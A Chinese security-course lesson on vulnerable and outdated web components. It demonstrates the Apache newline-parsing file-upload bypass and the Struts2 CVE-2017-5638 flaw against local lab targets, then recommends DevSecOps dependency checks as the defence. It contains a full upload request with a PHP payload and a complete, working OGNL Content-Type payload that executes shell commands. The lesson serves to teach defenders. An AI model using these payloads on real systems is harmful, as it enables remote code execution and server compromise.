You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

13 KiB

31易受攻击和过时的组件DevSecOps与依赖项安全检查

你好,我是王昊天。

不知道你是否听说过木桶效应我们可以看下图这个木桶假设它的底面为一整块木板桶身由15块木板组成。现在我们需要用这个木桶装尽可能多的水显而易见它能装水的数量仅与木板中高度最低的相关。

图片

其实对于Web应用的安全性来说木桶效应同样有效。假设我们的Web应用运用了多个组件例如Struts、Apache那么它的安全强度也是由这些组件中最脆弱的一个所决定。所以在我们开发一个Web应用时需要确保每一个组件都不存在已知的安全问题。

那么这节课就让我们一起学习下Web应用中组件的安全问题吧。

易受攻击和过时的组件

首先我们需要了解Web应用中具有哪些组件。

通常来讲Web应用一般都包含三个基础组件Web应用服务组件、Web数据库组件以及Web客户端浏览器组件。其中我们很容易知道Web应用服务器是用于运行Web应用的Web数据库服务器是用于给Web应用提供需要的数据而Web客户端浏览器则可以用来展示Web应用返回的内容同时决定用户与Web应用的交互方式。

其实上述三个基础组件本身也是由多个组件所构成的例如Web应用服务器可能会包含Struts、Apache应用等多个组件而Struts、Apache内部也会包含很多组件。所以组件是一个很灵活的说法你可以将它简单地理解为是一个独立功能单元

随着Web应用的功能越来越复杂应用中组件的个数也在不断提升这会对Web应用的安全造成一定的威胁因为我们难以确保每个组件都是安全的。这是一个棘手的问题它在OWASP 2021中荣获第六位下面让我们具体地学习一些典型的易受攻击和过时的组件吧。

Apache换行解析漏洞

在之前的学习中我们知道了Apache是一款使用很广泛的Web应用组件尽管它的功能非常强大但是在过去的版本中它也存在换行解析漏洞所以我们如果用这款工具时要注意它的版本信息。

这个换行解析漏洞影响的版本为Apache 2.4.10 - 2.4.29接下来让我们通过示例来具体的学习Apache换行解析漏洞。

图片

这是一个文件上传靶场我们需要上传一个test.php文件点击提交后我们可以看到页面返回了bad file。发现被拦截之后我查看靶场源码看到了下面的过滤代码

if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }

它是基于黑名单的过滤方式所以我们无法直接上传php相关后缀的文件名。但是我们可以尝试利用换行解析漏洞去进行测试。于是我们开启BurpSuite拦截文件上传的报文如下

POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 298
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5b4HReBGGEbOB2B
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryD5b4HReBGGEbOB2B
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/php

<?php phpinfo();?>

------WebKitFormBoundaryD5b4HReBGGEbOB2B
Content-Disposition: form-data; name="name"

test.php
------WebKitFormBoundaryD5b4HReBGGEbOB2B--

在倒数第二行test.php的最后加上一个空格符然后点击Hex格式找到我们刚刚输入的空格将它改为0a。

图片

然后将这个修改后的报文发送出去响应中不再提示bad file。然后我们访问test.php%0a路径获得响应如下

图片

可以看到我们上传文件test.php成功并且成功输出了其中的PHP语句我们看到Apache的版本信息为2.4.10确实是存在换行解析漏洞的版本

回顾我们的攻击过程,我们将文件的后缀改为了 .php%0a这个后缀是可以通过检测的因此Web应用会允许 test.php%0a 的上传。到这里都是合理的可是问题就发生在Apache在解析这个文件时会将它解析为一个PHP文件并调用PHP解释器来执行它。

事实上,%0a 代表换行符。Apache 是使用 .php$ 的正则匹配方式来检测 php 后缀的文件,而 是匹配字符串中结尾的位置,且如果存在换行符,则匹配换行符为结尾。所以,在上述示例中,我们利用了换行符 %0a 与 匹配,使得我们上传的文件test.php%0a被当作PHP文件解析

这就是Apache换行解析漏洞它的危害性还是很大的所以我们在开发Web应用时需要避免使用漏洞存在的版本。

接下来让我们学习另一个典型的不安全组件问题即Struts2远程代码执行漏洞。

Struts2远程代码执行漏洞

在学习这个漏洞之前我们先来看下Struts2是什么。

Struts2是一个Java Web应用框架它可以帮助我们更容易地去构建一个Web应用。在简单地了解了Struts2之后我们开始学习Struts2远程代码执行漏洞产生的原理。

事实上,Struts2漏洞发生在文件上传过程中我们知道上传和下载在Web应用中属于常用功能可是Struts2本身并没有提供这个功能而是选择调用模块Jakarta来实现文件的上传。这个Jakarta在处理文件上传请求时会对异常信息进行OGNL表达式解析处理这就是导致漏洞产生的核心因素。

攻击者可以访问使用Struts2制作的Web应用并且用BurpSuite捕获报文将HTTP请求头中的Content-Type改为包含multipart/form-data的OGNL恶意命令。这样Struts2在接收到这个请求后由于Content-Type的值包含multipart/form-data所以认为这是一个文件上传请求进而交给Jakarta进行处理。可是我们的Content-Type中包含了恶意的OGNL代码导致Jakarta在处理它时会发现异常并将异常信息交给OGNL表达式解析处理。这样我们的恶意OGNL代码就会被执行。

这就是Struts2远程代码执行漏洞该漏洞被称为CVE-2017-5638它的影响版本为Struts 2.3.5 - Struts 2.3.31以及Struts 2.5 - Struts 2.5.10。接下来,让我们通过实战,来亲自体会它的威力吧!

实战演练

我们进入实战环节登录谜团mituan.zone并选择【易受攻击和过时的组件CVE-2017-5638】靶机如果你可以看到如下页面那就成功打开了我们的靶场。

图片

接下来我们刷新页面用BurpSuite拦截请求获取到如下报文

GET /showcase.action HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

下面我们给它添加一个Content-Type请求头并将包含multipart/form-data字符串的恶意payload作为它的值。

GET /showcase.action HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Content-Type: 
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -l').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=C7D2C0C8353A3D952C576487D42216E3
Connection: close

payload是一段OGNL语句你可能看不懂它不用担心这里我们只需要知道在payload中cmd的值指定为 ls -l这样就可以让Web应用执行 ls -l 命令,并将输出进行返回。将我们精心修改后的报文发送出去,你就可以看到页面响应内容变为如下:

图片

可以看到,我们注入的命令 ls -l 的结果已经返回在页面上,攻击成功。

到这里你已经学习了易受攻击和过时组件会给Web应用造成的威胁接下来我们来学习如何抵御组件不安全的问题。

防御方式

为了保证我们的Web应用不会因为组件问题导致威胁的存在我们需要了解开发的Web应用中所有的组件信息然后对它们进行检查判断其中是否有不安全的组件存在如果存在就对它们进行限制或修改解决安全隐患同时持续关注这些组件的安全信息。

这样我们就可以尽可能地减少组件安全性问题发生的概率。不过上述措施实施起来还是比较困难的毕竟一个Web应用可能会用到很多的组件。为了解决这个问题我们可以利用DevSecOps来开发我们的应用。下面我们来学习DevSecOps是什么以及它是如何保护Web应用组件安全的。

DevSecOps

想要学习DevSecOps我们首先要了解DevOps是什么。

DevOps即有质量保证的开发与运维它代表的是一组过程、方法与系统的统称用于促进开发、技术运营以及质量保障部门之间的沟通、协作与调整。

在DevOps模式下运维人员会在项目开发期就介入到开发过程中了解开发人员使用的系统架构和技术路线从而制定适当的运维方案。而开发人员也会在运维的初期参与到系统部署中并提供系统部署的优化建议。这样不仅可以加深开发人员和运维人员的感情还能使得彼此更了解应用的整体情况有助于提高实施效率。

DevSecOps相比较而言多了Sec三个字母事实上它确实就是将安全性无缝集成到DevOps的每个阶段。它统一了开发活动、操作支持和安全检查。在DevSecOps中对代码的任何更改都会触发安全检查其中若存在易受攻击和不安全的组件就会很快被发现及更改。

图片

总结

在这节课程中,我们学习了易受攻击和过时的组件问题。

首先,我们对组件进行了理解,知道了它其实是一个灵活的概念,我们可以将它理解为独立的功能单元。

之后我们通过对Struts以及Apache这两个组件安全性的分析结合实战切身地了解了不安全的组件会给我们整个Web应用的安全性造成极大的威胁。

最后我们学习了如何抵御组件安全性问题即通过DevSecOps方式开发我们的Web应用对所用的组件及依赖项进行及时的检测。这样就可以很好地保护我们的Web应用啦

思考题

你还知道哪些组件安全问题吗?以及如何防御?

欢迎在评论区中分享。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!